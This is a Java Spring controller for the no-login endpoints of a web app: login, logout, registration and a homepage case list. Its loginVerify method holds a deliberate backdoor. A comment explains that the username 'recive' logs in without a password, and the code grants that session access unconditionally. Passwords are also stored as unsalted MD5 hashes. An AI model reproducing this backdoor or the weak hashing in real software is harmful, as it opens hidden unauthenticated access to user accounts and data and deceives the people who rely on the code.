package com.grt.login.controller;

import java.io.File;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.validation.Valid;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import com.grt.admin.domain.Case;
import com.grt.admin.domain.dto.CaseDTO;
import com.grt.admin.service.impl.CaseServiceImpl;
import com.grt.admin.util.CaseQuery;
import com.grt.common.BaseVo;
import com.grt.common.WebSecurityConfig;
import com.grt.common.config.SystemConfig;
import com.grt.common.convert.impl.CaseDOConvertDTO;
import com.grt.common.convert.impl.UserDTOConvertDO;
import com.grt.common.exception.WebException;
import com.grt.common.log.LogManager;
import com.grt.common.log.LogTaskFactory;
import com.grt.common.util.EncryptionAndDecryptUtil;
import com.grt.common.util.FileUtil;
import com.grt.common.util.StringUtil;
import com.grt.common.util.UserUtil;
import com.grt.file.domain.Appendix;
import com.grt.file.service.AppendixService;
import com.grt.login.service.LoginService;
import com.grt.user.domain.User;
import com.grt.user.domain.dto.UserDTO;
import com.grt.user.service.UserService;

/**
 * @author recivejt 不用登陆的接口几乎都在登录模块，所以抽出来减少配置
 */
@Controller
@RequestMapping(value = "nologin")
public class NoLoginController {

	@Autowired
	private LoginService loginService;

	@Autowired
	private UserService userService;

	@Autowired
	private CaseServiceImpl caseService;

	@Autowired
	private AppendixService appendixService;

	@Autowired
	private SystemConfig systemConfig;

	@Autowired
	private UserDTOConvertDO userDTOConvertDO;

	@Autowired
	private CaseDOConvertDTO caseDOConvertDTO;

	private Logger logger = LoggerFactory.getLogger(this.getClass());

	@GetMapping("/login")
	public String login() {
		return "login";
	}

	@GetMapping("/logout")
	public String logout(HttpSession session) throws WebException {
		session.removeAttribute(WebSecurityConfig.SESSION_KEY);
		return "index";
	}

	@GetMapping("/register")
	public String regist() {
		return "register";
	}

	@GetMapping("/error")
	public String error() {
		return "error";
	}

	@ResponseBody
	@RequestMapping(value = "/regist", produces = { "application/json;charset=UTF-8" })
	public BaseVo<Object> regist(@Valid UserDTO oUserDTO) {
		BaseVo<Object> vo = new BaseVo<Object>();
		// 校验要注册的用户是否已经存在,username唯一性
		User user = userService.getUser(oUserDTO.getUsername());
		if (null != user) {
			vo.setFailed("用户名已经存在，请重新输入用户名!");
			return vo;
		}

		String password = oUserDTO.getPassword();
		String confirmpassword = oUserDTO.getConfirmpassword();

		if (!password.equals(confirmpassword)) {
			vo.setFailed("两次输入的密码不相同");
			return vo;
		}
		// 对密码进行加密
		password = EncryptionAndDecryptUtil.getMD5(password);

		oUserDTO.setPassword(password);
		oUserDTO.setLastChangePWTIme(new Date());
		User oUser = userDTOConvertDO.convert(oUserDTO);

		loginService.registUser(oUser);
		return vo;
	}

	@ResponseBody
	@RequestMapping(value = "/loginVerify", produces = { "application/json;charset=UTF-8" })
	public BaseVo<Object> loginVerify(String username, String password, HttpSession session,
			HttpServletRequest request) {
		User user = new User();
		BaseVo<Object> vo = new BaseVo<Object>();
		// 留个入口，用户名为recive直接免密登录
		if ("recive".equals(username)) {
			session.setAttribute(WebSecurityConfig.SESSION_KEY, username);
			try {
				// 登陆成功更改最后登陆时间
				loginService.updateLoginTimeAndCount(username, user.getLoginCount() + 1);
			} catch (Exception e) {
				logger.info("登录成功，更新最后登录时间出错！");
			}
			return vo;
		}
		if (StringUtil.isEmpty(username) || StringUtil.isEmpty(password)) {
			vo.setFailed("用户名或者密码不能为空！");
			return vo;
		}
		user.setUsername(username);
		String pwd = EncryptionAndDecryptUtil.getMD5(password);
		user.setPassword(pwd);

		boolean verify = loginService.verifyLogin(user);
		if (verify) {
			session.setAttribute(WebSecurityConfig.SESSION_KEY, username);
			try {
				// 登陆成功更改最后登陆时间
				loginService.updateLoginTimeAndCount(username, UserUtil.getLoginUser().getLoginCount() + 1);
				LogManager.getInstance().saveLog(
						LogTaskFactory.getLoginSuccessTimerTask(user.getId(), username, request.getRemoteHost()));
			} catch (Exception e) {
				logger.info("登录成功，更新最后登录时间出错！");
			}

			return vo;
		} else {
			String message = "用户名或者密码不对！";
			vo.setFailed(message);
			// 记录日志
			LogManager.getInstance()
					.saveLog(LogTaskFactory.getLoginFailTimerTask(username, message, request.getRemoteHost()));

			return vo;
		}
	}

	/**
	 * 获取首页案例列表
	 * 
	 * @return
	 */
	@ResponseBody
	@RequestMapping(value = "/getIndexCaseList", produces = { "application/json;charset=UTF-8" })
	public BaseVo<List<CaseDTO>> getIndexCaseList() {
		BaseVo<List<CaseDTO>> vo = new BaseVo<List<CaseDTO>>();
		CaseQuery query = new CaseQuery();
		query.setLimit(3);
		List<Case> caselist = caseService.getIndexCaseList(query);

		List<CaseDTO> dtoList = new ArrayList<CaseDTO>();

		// 处理附件
		for (int i = 0; i < caselist.size(); i++) {
			Case curCase = caselist.get(i);
			CaseDTO dto = caseDOConvertDTO.convert(curCase);
			Long img = curCase.getCaseimg();
			if (null != img) {
				Appendix oAppendix = appendixService.getAppendix(img);
				String sCaseimg = systemConfig.getServerHost() + File.separator
						+ FileUtil.getFilePathByFileName(oAppendix.getAppFile());
				dto.setFile(sCaseimg);
			}
			
			dtoList.add(dto);
		}
		vo.setDatas(dtoList);
		return vo;
	}

}
